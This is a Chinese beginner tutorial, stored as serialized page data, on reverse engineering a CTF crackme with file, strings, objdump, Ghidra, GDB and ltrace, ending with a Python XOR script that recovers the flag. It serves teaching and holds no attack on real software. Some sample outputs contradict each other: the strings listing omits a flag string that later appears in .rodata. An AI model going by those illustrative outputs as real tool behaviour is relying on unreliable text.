调试",{"type":7,"value":1279,"toc":2559},[1280,1284,1287,1290,1337,1340,1342,1345,1371,1378,1382,1387,1392,1396,1399,1412,1414,1420,1431,1436,1440,1442,1454,1456,1462,1472,1489,1492,1497,1520,1524,1536,1541,1553,1558,1563,1567,1572,1589,1593,1595,1616,1619,1656,1659,1716,1719,1772,1779,1799,1803,1836,1839,1859,1866,1882,1886,1906,1908,1914,1924,1937,1941,1944,2004,2007,2028,2031,2056,2059,2063,2066,2071,2080,2092,2095,2099,2109,2111,2117,2121,2130,2132,2138,2141,2145,2154,2157,2161,2170,2176,2185,2188,2211,2218,2231,2234,2240,2243,2249,2253,2333,2342,2346,2352,2356,2361,2374,2390,2396,2400,2405,2414,2420,2429,2433,2438,2447,2512,2514,2520,2524,2537,2541,2545,2556],[10,1281,1283],{"id":1282},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,1285,1286],{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,1288,1289],{},"目标程序示例：",[41,1291,1293],{"className":43,"code":1292,"language":45,"meta":46,"style":46},"$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n",[18,1294,1295,1303,1323,1332],{"__ignoreMap":46},[50,1296,1297,1300],{"class":52,"line":53},[50,1298,1299],{"class":56},"$",[50,1301,1302],{"class":60}," ./checkflag\n",[50,1304,1305,1308,1311,1314,1317,1320],{"class":52,"line":70},[50,1306,1307],{"class":56},"Usage:",[50,1309,1310],{"class":60}," ./checkflag",[50,1312,1313],{"class":644}," \u003C",[50,1315,1316],{"class":60},"fla",[50,1318,1319],{"class":96},"g",[50,1321,1322],{"class":644},">\n",[50,1324,1325,1327,1329],{"class":52,"line":84},[50,1326,1299],{"class":56},[50,1328,1310],{"class":60},[50,1330,1331],{"class":60}," test\n",[50,1333,1334],{"class":52,"line":145},[50,1335,1336],{"class":56},"Wrong!\n",[15,1338,1339],{},"解题目标：通过分析二进制，找出正确输入。",[10,1341,39],{"id":38},[15,1343,1344],{},"在 Linux（Kali/Ubuntu）上：",[41,1346,1348],{"className":43,"code":1347,"language":45,"meta":46,"style":46},"apt install file binutils gdb ltrace strace\n",[18,1349,1350],{"__ignoreMap":46},[50,1351,1352,1354,1356,1359,1362,1365,1368],{"class":52,"line":53},[50,1353,57],{"class":56},[50,1355,61],{"class":60},[50,1357,1358],{"class":60}," file",[50,1360,1361],{"class":60}," binutils",[50,1363,1364],{"class":60}," gdb",[50,1366,1367],{"class":60}," ltrace",[50,1369,1370],{"class":60}," strace\n",[15,1372,1373,1374,1377],{},"本文以编译后的 ",[18,1375,1376],{},"checkflag"," 为例，逐步演示。",[10,1379,1381],{"id":1380},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,1383,1384,1386],{},[271,1385,273],{},"：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,1388,1389,1391],{},[271,1390,279],{},"：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[713,1393,1395],{"id":1394},"_31-file看文件类型","3.1 file：看文件类型",[15,1397,1398],{},"输入：",[41,1400,1402],{"className":43,"code":1401,"language":45,"meta":46,"style":46},"file checkflag\n",[18,1403,1404],{"__ignoreMap":46},[50,1405,1406,1409],{"class":52,"line":53},[50,1407,1408],{"class":56},"file",[50,1410,1411],{"class":60}," checkflag\n",[15,1413,299],{},[41,1415,1418],{"className":1416,"code":1417,"language":305,"meta":46},[303],"checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n",[18,1419,1417],{"__ignoreMap":46},[15,1421,1422,1423,1426,1427,1430],{},"重点看最后：",[18,1424,1425],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[18,1428,1429],{},"stripped","，函数名被删，难度更高。",[15,1432,1433,1435],{},[271,1434,273],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[713,1437,1439],{"id":1438},"_32-strings提取字符串","3.2 strings：提取字符串",[15,1441,1398],{},[41,1443,1445],{"className":43,"code":1444,"language":45,"meta":46,"style":46},"strings checkflag\n",[18,1446,1447],{"__ignoreMap":46},[50,1448,1449,1452],{"class":52,"line":53},[50,1450,1451],{"class":56},"strings",[50,1453,1411],{"class":60},[15,1455,299],{},[41,1457,1460],{"className":1458,"code":1459,"language":305,"meta":46},[303],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[18,1461,1459],{"__ignoreMap":46},[15,1463,1464,1465,1467,1468,1471],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[18,1466,1451],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[18,1469,1470],{},"-n"," 指定：",[41,1473,1475],{"className":43,"code":1474,"language":45,"meta":46,"style":46},"strings -n 3 checkflag\n",[18,1476,1477],{"__ignoreMap":46},[50,1478,1479,1481,1484,1487],{"class":52,"line":53},[50,1480,1451],{"class":56},[50,1482,1483],{"class":250}," -n",[50,1485,1486],{"class":250}," 3",[50,1488,1411],{"class":60},[15,1490,1491],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,1493,1494,1496],{},[271,1495,273],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,1498,1499,1501,1502,21,1505,21,1508,1511,1512,1515,1516,1519],{},[271,1500,279],{},"：输出里的 ",[18,1503,1504],{},"Usage: ./checkflag \u003Cflag>",[18,1506,1507],{},"Correct!",[18,1509,1510],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[18,1513,1514],{},"k3y","），先用 ",[18,1517,1518],{},"-n 3"," 确认——可能正是加密密钥。",[713,1521,1523],{"id":1522},"_33-运行程序观察行为","3.3 运行程序观察行为",[41,1525,1527],{"className":43,"code":1526,"language":45,"meta":46,"style":46},"./checkflag test\n",[18,1528,1529],{"__ignoreMap":46},[50,1530,1531,1534],{"class":52,"line":53},[50,1532,1533],{"class":56},"./checkflag",[50,1535,1331],{"class":60},[15,1537,1538,1539,697],{},"输出：",[18,1540,1510],{},[41,1542,1544],{"className":43,"code":1543,"language":45,"meta":46,"style":46},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[18,1545,1546],{"__ignoreMap":46},[50,1547,1548,1550],{"class":52,"line":53},[50,1549,1533],{"class":56},[50,1551,1552],{"class":60}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,1554,1538,1555,1557],{},[18,1556,1510],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,1559,1560,1562],{},[271,1561,273],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,1564,1566],{"id":1565},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,1568,1569,1571],{},[271,1570,273],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,1573,1574,1576,1577,1580,1581,1584,1585,1588],{},[271,1575,279],{},"：程序要么比较字符串（",[18,1578,1579],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[18,1582,1583],{},"call","（函数调用）和 ",[18,1586,1587],{},"je/jne","（条件跳转）就能定位判断点。",[713,1590,1592],{"id":1591},"_41-objdump-看-main","4.1 objdump 看 main",[15,1594,1398],{},[41,1596,1598],{"className":43,"code":1597,"language":45,"meta":46,"style":46},"objdump -d -M intel checkflag\n",[18,1599,1600],{"__ignoreMap":46},[50,1601,1602,1605,1608,1611,1614],{"class":52,"line":53},[50,1603,1604],{"class":56},"objdump",[50,1606,1607],{"class":250}," -d",[50,1609,1610],{"class":250}," -M",[50,1612,1613],{"class":60}," intel",[50,1615,1411],{"class":60},[15,1617,1618],{},"输出很长，用 grep 只看 main：",[41,1620,1622],{"className":43,"code":1621,"language":45,"meta":46,"style":46},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[18,1623,1624],{"__ignoreMap":46},[50,1625,1626,1628,1630,1632,1634,1637,1639,1641,1644,1647,1650,1653],{"class":52,"line":53},[50,1627,1604],{"class":56},[50,1629,1607],{"class":250},[50,1631,1610],{"class":250},[50,1633,1613],{"class":60},[50,1635,1636],{"class":60}," checkflag",[50,1638,645],{"class":644},[50,1640,648],{"class":56},[50,1642,1643],{"class":250}," -A",[50,1645,1646],{"class":250}," 40",[50,1648,1649],{"class":651}," '",[50,1651,1652],{"class":60},"\u003Cmain>",[50,1654,1655],{"class":651},"'\n",[15,1657,1658],{},"预期输出（节选）：",[41,1660,1664],{"className":1661,"code":1662,"language":1663,"meta":46,"style":46},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[18,1665,1666,1671,1676,1681,1686,1691,1696,1701,1706,1711],{"__ignoreMap":46},[50,1667,1668],{"class":52,"line":53},[50,1669,1670],{},"0000000000001189 \u003Cmain>:\n",[50,1672,1673],{"class":52,"line":70},[50,1674,1675],{},"    1189:  push   rbp\n",[50,1677,1678],{"class":52,"line":84},[50,1679,1680],{},"    118a:  mov    rbp, rsp\n",[50,1682,1683],{"class":52,"line":145},[50,1684,1685],{},"    1191:  cmp    edi, 0x2\n",[50,1687,1688],{"class":52,"line":151},[50,1689,1690],{},"    1194:  jne    0x11a0\n",[50,1692,1693],{"class":52,"line":157},[50,1694,1695],{},"    119e:  call   0x1149 \u003Ccheck>\n",[50,1697,1698],{"class":52,"line":163},[50,1699,1700],{},"    11a3:  test   eax, eax\n",[50,1702,1703],{"class":52,"line":168},[50,1704,1705],{},"    11a5:  je     0x11b5\n",[50,1707,1708],{"class":52,"line":174},[50,1709,1710],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[50,1712,1713],{"class":52,"line":180},[50,1714,1715],{},"    11ae:  call   puts@plt\n",[15,1717,1718],{},"逐行解释：",[312,1720,1721,1730],{},[315,1722,1723],{},[318,1724,1725,1728],{},[321,1726,1727],{},"指令",[321,1729,326],{},[328,1731,1732,1742,1752,1762],{},[318,1733,1734,1739],{},[333,1735,1736],{},[18,1737,1738],{},"cmp edi, 0x2",[333,1740,1741],{},"比较参数个数 argc 是否为 2",[318,1743,1744,1749],{},[333,1745,1746],{},[18,1747,1748],{},"call check",[333,1750,1751],{},"调用校验函数 check",[318,1753,1754,1759],{},[333,1755,1756],{},[18,1757,1758],{},"test eax, eax",[333,1760,1761],{},"检查返回值是否为 0",[318,1763,1764,1769],{},[333,1765,1766],{},[18,1767,1768],{},"je 0x11b5",[333,1770,1771],{},"为 0 则跳到打印 Wrong 的地方",[15,1773,1774,1775,1778],{},"结论：逻辑在 ",[18,1776,1777],{},"check"," 函数里。",[15,1780,1781,119,1784,1786,1787,1789,1790,1793,1794,1796,1797,697],{},[271,1782,1783],{},"怎么想到看 check",[18,1785,1748],{}," 之后紧跟 ",[18,1788,1758],{}," 和 ",[18,1791,1792],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[18,1795,1777],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[18,1798,1777],{},[713,1800,1802],{"id":1801},"_42-看-check","4.2 看 check",[41,1804,1806],{"className":43,"code":1805,"language":45,"meta":46,"style":46},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[18,1807,1808],{"__ignoreMap":46},[50,1809,1810,1812,1814,1816,1818,1820,1822,1824,1826,1829,1831,1834],{"class":52,"line":53},[50,1811,1604],{"class":56},[50,1813,1607],{"class":250},[50,1815,1610],{"class":250},[50,1817,1613],{"class":60},[50,1819,1636],{"class":60},[50,1821,645],{"class":644},[50,1823,648],{"class":56},[50,1825,1643],{"class":250},[50,1827,1828],{"class":250}," 50",[50,1830,1649],{"class":651},[50,1832,1833],{"class":60},"\u003Ccheck>",[50,1835,1655],{"class":651},[15,1837,1838],{},"如果看到：",[41,1840,1842],{"className":1661,"code":1841,"language":1663,"meta":46,"style":46},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[18,1843,1844,1849,1854],{"__ignoreMap":46},[50,1845,1846],{"class":52,"line":53},[50,1847,1848],{},"call   strcmp@plt\n",[50,1850,1851],{"class":52,"line":70},[50,1852,1853],{},"test   eax, eax\n",[50,1855,1856],{"class":52,"line":84},[50,1857,1858],{},"je     ...\n",[15,1860,1861,1862,1865],{},"说明是字符串比较，flag 就藏在 ",[18,1863,1864],{},".rodata"," 里。",[15,1867,1868,119,1871,1874,1875,1878,1879,1881],{},[271,1869,1870],{},"验证方式",[18,1872,1873],{},"call strcmp@plt"," 前面通常有一条 ",[18,1876,1877],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[18,1880,1864],{}," 里找内容即可。",[713,1883,1885],{"id":1884},"_43-看只读数据段","4.3 看只读数据段",[41,1887,1889],{"className":43,"code":1888,"language":45,"meta":46,"style":46},"objdump -s -j .rodata checkflag\n",[18,1890,1891],{"__ignoreMap":46},[50,1892,1893,1895,1898,1901,1904],{"class":52,"line":53},[50,1894,1604],{"class":56},[50,1896,1897],{"class":250}," -s",[50,1899,1900],{"class":250}," -j",[50,1902,1903],{"class":60}," .rodata",[50,1905,1411],{"class":60},[15,1907,299],{},[41,1909,1912],{"className":1910,"code":1911,"language":305,"meta":46},[303],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[18,1913,1911],{"__ignoreMap":46},[15,1915,1916,1917,1920,1921,697],{},"ASCII 十六进制 ",[18,1918,1919],{},"63 6f 6e 67..."," 解出来就是 ",[18,1922,1923],{},"congratulations",[15,1925,1926,1929,1930,1932,1933,1936],{},[271,1927,1928],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[18,1931,1864],{},"，",[18,1934,1935],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[713,1938,1940],{"id":1939},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,1942,1943],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[41,1945,1947],{"className":43,"code":1946,"language":45,"meta":46,"style":46},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[18,1948,1949,1961,1976,1988],{"__ignoreMap":46},[50,1950,1951,1953,1955,1958],{"class":52,"line":53},[50,1952,57],{"class":56},[50,1954,61],{"class":60},[50,1956,1957],{"class":60}," openjdk-21-jdk",[50,1959,1960],{"class":60}," unzip\n",[50,1962,1963,1966,1969,1973],{"class":52,"line":70},[50,1964,1965],{"class":56},"wget",[50,1967,1968],{"class":60}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[50,1970,1972],{"class":1971},"sqerP","*",[50,1974,1975],{"class":60},".zip\n",[50,1977,1978,1981,1984,1986],{"class":52,"line":84},[50,1979,1980],{"class":56},"unzip",[50,1982,1983],{"class":60}," ghidra_",[50,1985,1972],{"class":1971},[50,1987,1975],{"class":60},[50,1989,1990,1992,1994,1996,1999,2001],{"class":52,"line":145},[50,1991,101],{"class":100},[50,1993,1983],{"class":60},[50,1995,1972],{"class":1971},[50,1997,1998],{"class":60},"_PUBLIC",[50,2000,97],{"class":96},[50,2002,2003],{"class":56},"./ghidraRun\n",[15,2005,2006],{},"操作步骤：",[1036,2008,2009,2012,2018,2021],{},[1039,2010,2011],{},"File → New Project → 命名。",[1039,2013,2014,2015,2017],{},"把 ",[18,2016,1376],{}," 拖进项目，双击导入。",[1039,2019,2020],{},"等待自动分析完成。",[1039,2022,2023,2024,2027],{},"左侧 Symbol Tree 双击 ",[18,2025,2026],{},"main","，右侧 Decompiler 显示伪代码。",[15,2029,2030],{},"预期伪代码：",[41,2032,2034],{"className":122,"code":2033,"language":124,"meta":46,"style":46},"if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n",[18,2035,2036,2041,2046,2051],{"__ignoreMap":46},[50,2037,2038],{"class":52,"line":53},[50,2039,2040],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[50,2042,2043],{"class":52,"line":70},[50,2044,2045],{},"    puts(\"Correct!\");\n",[50,2047,2048],{"class":52,"line":84},[50,2049,2050],{},"else\n",[50,2052,2053],{"class":52,"line":145},[50,2054,2055],{},"    puts(\"Wrong!\");\n",[15,2057,2058],{},"flag 直接可见。",[10,2060,2062],{"id":2061},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[15,2064,2065],{},"静态分析看不懂时，让程序跑起来。",[15,2067,2068,2070],{},[271,2069,273],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,2072,2073,2075,2076,2079],{},[271,2074,279],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[18,2077,2078],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[41,2081,2083],{"className":43,"code":2082,"language":45,"meta":46,"style":46},"gdb ./checkflag\n",[18,2084,2085],{"__ignoreMap":46},[50,2086,2087,2090],{"class":52,"line":53},[50,2088,2089],{"class":56},"gdb",[50,2091,1302],{"class":60},[15,2093,2094],{},"进入 GDB 交互后：",[713,2096,2098],{"id":2097},"_51-下断点","5.1 下断点",[41,2100,2103],{"className":2101,"code":2102,"language":2089,"meta":46,"style":46},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[18,2104,2105],{"__ignoreMap":46},[50,2106,2107],{"class":52,"line":53},[50,2108,2102],{},[15,2110,299],{},[41,2112,2115],{"className":2113,"code":2114,"language":305,"meta":46},[303],"Breakpoint 1 at 0x1149\n",[18,2116,2114],{"__ignoreMap":46},[713,2118,2120],{"id":2119},"_52-带参数运行","5.2 带参数运行",[41,2122,2124],{"className":2101,"code":2123,"language":2089,"meta":46,"style":46},"(gdb) run test\n",[18,2125,2126],{"__ignoreMap":46},[50,2127,2128],{"class":52,"line":53},[50,2129,2123],{},[15,2131,299],{},[41,2133,2136],{"className":2134,"code":2135,"language":305,"meta":46},[303],"Breakpoint 1, 0x0000555555555149 in check ()\n",[18,2137,2135],{"__ignoreMap":46},[15,2139,2140],{},"程序停在 check 入口。",[713,2142,2144],{"id":2143},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[41,2146,2148],{"className":2101,"code":2147,"language":2089,"meta":46,"style":46},"(gdb) x/20i $rip\n",[18,2149,2150],{"__ignoreMap":46},[50,2151,2152],{"class":52,"line":53},[50,2153,2147],{},[15,2155,2156],{},"输出 check 函数开头的 20 条汇编。",[713,2158,2160],{"id":2159},"_54-单步并观察比较","5.4 单步并观察比较",[41,2162,2164],{"className":2101,"code":2163,"language":2089,"meta":46,"style":46},"(gdb) stepi\n",[18,2165,2166],{"__ignoreMap":46},[50,2167,2168],{"class":52,"line":53},[50,2169,2163],{},[15,2171,2172,2173,2175],{},"反复执行直到看到 ",[18,2174,1873],{},"。然后：",[41,2177,2179],{"className":2101,"code":2178,"language":2089,"meta":46,"style":46},"(gdb) x/s $rsi\n",[18,2180,2181],{"__ignoreMap":46},[50,2182,2183],{"class":52,"line":53},[50,2184,2178],{},[15,2186,2187],{},"预期输出：程序正在比较的字符串，即 flag。",[15,2189,2190,119,2193,603,2196,2199,2200,2203,2204,603,2207,2210],{},[271,2191,2192],{},"补充说明",[18,2194,2195],{},"x/s",[18,2197,2198],{},"s"," 表示按字符串显示；",[18,2201,2202],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[18,2205,2206],{},"strcmp(a, b)",[18,2208,2209],{},"b"," 就存在这里。",[15,2212,2213,2214,2217],{},"补充：如果嫌 GDB 麻烦，",[18,2215,2216],{},"ltrace"," 直接跟踪库调用：",[41,2219,2221],{"className":43,"code":2220,"language":45,"meta":46,"style":46},"ltrace ./checkflag test\n",[18,2222,2223],{"__ignoreMap":46},[50,2224,2225,2227,2229],{"class":52,"line":53},[50,2226,2216],{"class":56},[50,2228,1310],{"class":60},[50,2230,1331],{"class":60},[15,2232,2233],{},"预期输出中会出现：",[41,2235,2238],{"className":2236,"code":2237,"language":305,"meta":46},[303],"strcmp(\"test\", \"congratulations\") = 1\n",[18,2239,2237],{"__ignoreMap":46},[15,2241,2242],{},"flag 一目了然。",[15,2244,2245,2248],{},[271,2246,2247],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,2250,2252],{"id":2251},"六必学工具","六、必学工具",[312,2254,2255,2267],{},[315,2256,2257],{},[318,2258,2259,2261,2264],{},[321,2260,1096],{},[321,2262,2263],{},"核心功能",[321,2265,2266],{},"命令示例",[328,2268,2269,2281,2299,2314],{},[318,2270,2271,2273,2276],{},[333,2272,1408],{},[333,2274,2275],{},"看类型、位数、是否 stripped",[333,2277,2278],{},[18,2279,2280],{},"file checkflag",[318,2282,2283,2285,2288],{},[333,2284,1451],{},[333,2286,2287],{},"提取字符串、指定最小长度、管道过滤",[333,2289,2290,21,2293,21,2296],{},[18,2291,2292],{},"strings checkflag",[18,2294,2295],{},"strings -n 3 a",[18,2297,2298],{},"strings a | grep flag",[318,2300,2301,2303,2306],{},[333,2302,1604],{},[333,2304,2305],{},"反汇编、看数据段、Intel 语法",[333,2307,2308,21,2311],{},[18,2309,2310],{},"objdump -d -M intel a",[18,2312,2313],{},"objdump -s -j .rodata a",[318,2315,2316,2319,2322],{},[333,2317,2318],{},"GDB",[333,2320,2321],{},"断点、运行、看内存/寄存器",[333,2323,2324,21,2327,21,2330],{},[18,2325,2326],{},"break check",[18,2328,2329],{},"run",[18,2331,2332],{},"x/20i $rip",[15,2334,2335,2336,1117,2338,2341],{},"另：Ghidra 负责把汇编还原成伪代码；",[18,2337,2216],{},[18,2339,2340],{},"strace"," 负责快速跟踪函数与系统调用。",[10,2343,2345],{"id":2344},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,2347,1167,2348,2351],{},[18,2349,2350],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[713,2353,2355],{"id":2354},"第一步侦查","第一步：侦查",[15,2357,2358,2360],{},[271,2359,273],{},"：先找密钥与提示。",[15,2362,2363,119,2365,2367,2368,2370,2371,2373],{},[271,2364,279],{},[18,2366,1451],{}," 默认漏掉短串，所以用 ",[18,2369,1518],{},"；看到 ",[18,2372,1514],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[41,2375,2377],{"className":43,"code":2376,"language":45,"meta":46,"style":46},"strings -n 3 crackme\n",[18,2378,2379],{"__ignoreMap":46},[50,2380,2381,2383,2385,2387],{"class":52,"line":53},[50,2382,1451],{"class":56},[50,2384,1483],{"class":250},[50,2386,1486],{"class":250},[50,2388,2389],{"class":60}," crackme\n",[15,2391,2392,2393,2395],{},"预期输出中有 ",[18,2394,1514],{},"——疑似密钥。",[713,2397,2399],{"id":2398},"第二步反编译-check","第二步：反编译 check",[15,2401,2402,2404],{},[271,2403,273],{},"：确认密钥如何使用、密文数组是什么。",[15,2406,2407,2409,2410,2413],{},[271,2408,1870],{},"：伪代码 ",[18,2411,2412],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,2415,2416,2417,2419],{},"用 Ghidra 打开，",[18,2418,1777],{}," 伪代码：",[41,2421,2423],{"className":122,"code":2422,"language":124,"meta":46,"style":46},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[18,2424,2425],{"__ignoreMap":46},[50,2426,2427],{"class":52,"line":53},[50,2428,2422],{},[713,2430,2432],{"id":2431},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,2434,2435,2437],{},[271,2436,273],{},"：把\"加密\"反过来算，得到明文。",[15,2439,2440,2442,2443,2446],{},[271,2441,279],{},"：异或的自反性 ",[18,2444,2445],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[41,2448,2450],{"className":411,"code":2449,"language":413,"meta":46,"style":46},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[18,2451,2452,2457,2462,2467,2472,2477,2482,2487,2492,2497,2502,2507],{"__ignoreMap":46},[50,2453,2454],{"class":52,"line":53},[50,2455,2456],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[50,2458,2459],{"class":52,"line":70},[50,2460,2461],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[50,2463,2464],{"class":52,"line":84},[50,2465,2466],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[50,2468,2469],{"class":52,"line":145},[50,2470,2471],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[50,2473,2474],{"class":52,"line":151},[50,2475,2476],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[50,2478,2479],{"class":52,"line":157},[50,2480,2481],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[50,2483,2484],{"class":52,"line":163},[50,2485,2486],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[50,2488,2489],{"class":52,"line":168},[50,2490,2491],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[50,2493,2494],{"class":52,"line":174},[50,2495,2496],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[50,2498,2499],{"class":52,"line":180},[50,2500,2501],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[50,2503,2504],{"class":52,"line":186},[50,2505,2506],{},"print(flag.decode())\n",[50,2508,2509],{"class":52,"line":191},[50,2510,2511],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,2513,1538],{},[41,2515,2518],{"className":2516,"code":2517,"language":305,"meta":46},[303],"ctf{reverse_engineering}\n",[18,2519,2517],{"__ignoreMap":46},[713,2521,2523],{"id":2522},"第四步验证","第四步：验证",[41,2525,2527],{"className":43,"code":2526,"language":45,"meta":46,"style":46},"./crackme ctf{reverse_engineering}\n",[18,2528,2529],{"__ignoreMap":46},[50,2530,2531,2534],{"class":52,"line":53},[50,2532,2533],{"class":56},"./crackme",[50,2535,2536],{"class":60}," ctf{reverse_engineering}\n",[15,2538,1538,2539,697],{},[18,2540,1507],{},[10,2542,2544],{"id":2543},"八小结","八、小结",[15,2546,2547,2548,1117,2550,2552,2553,2555],{},"逆向入门三步：",[18,2549,1408],{},[18,2551,1451],{}," 侦查 → ",[18,2554,1604],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1244,2557,2558],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":46,"searchDepth":70,"depth":70,"links":2560},[2561,2562,2563,2564,2565,2566,2567,2568],{"id":1282,"depth":84,"text":1283},{"id":38,"depth":84,"text":39},{"id":1380,"depth":84,"text":1381},{"id":1565,"depth":84,"text":1566},{"id":2061,"depth":84,"text":2062},{"id":2251,"depth":84,"text":2252},{"id":2344,"depth":84,"text":2345},{"id":2543,"depth":84,"text":2544},"完整演示逆向三板斧：file/strings 侦查、objdump 